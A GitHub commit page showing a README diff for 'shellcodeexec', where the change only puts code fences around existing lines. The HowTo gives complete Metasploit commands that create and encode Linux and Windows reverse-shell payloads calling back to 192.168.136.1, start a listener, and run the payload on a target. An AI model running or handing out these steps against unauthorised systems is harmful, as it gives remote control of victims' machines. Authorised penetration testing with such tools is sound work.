Skip to content

Commit be43494

Browse files
committed
minor adjustments to README
1 parent d3f3a3f commit be43494

1 file changed

Lines changed: 15 additions & 8 deletions

File tree

README.md

Lines changed: 15 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -34,22 +34,29 @@ shellcodeexec:
3434
## HowTo
3535

3636
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:
37-
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
38-
37+
```
38+
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
39+
```
3940
Or for a Windows target:
40-
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
41-
41+
```
42+
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
43+
```
4244
2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:
4345
```
4446
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
4547
```
46-
4748
Or for a Windows target:
48-
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
49+
```
50+
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
51+
```
4952
3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:
50-
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
53+
```
54+
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
55+
```
5156
Or, on the Windows target:
52-
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
57+
```
58+
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
59+
```
5360

5461
## License
5562

0 commit comments

Comments
 (0)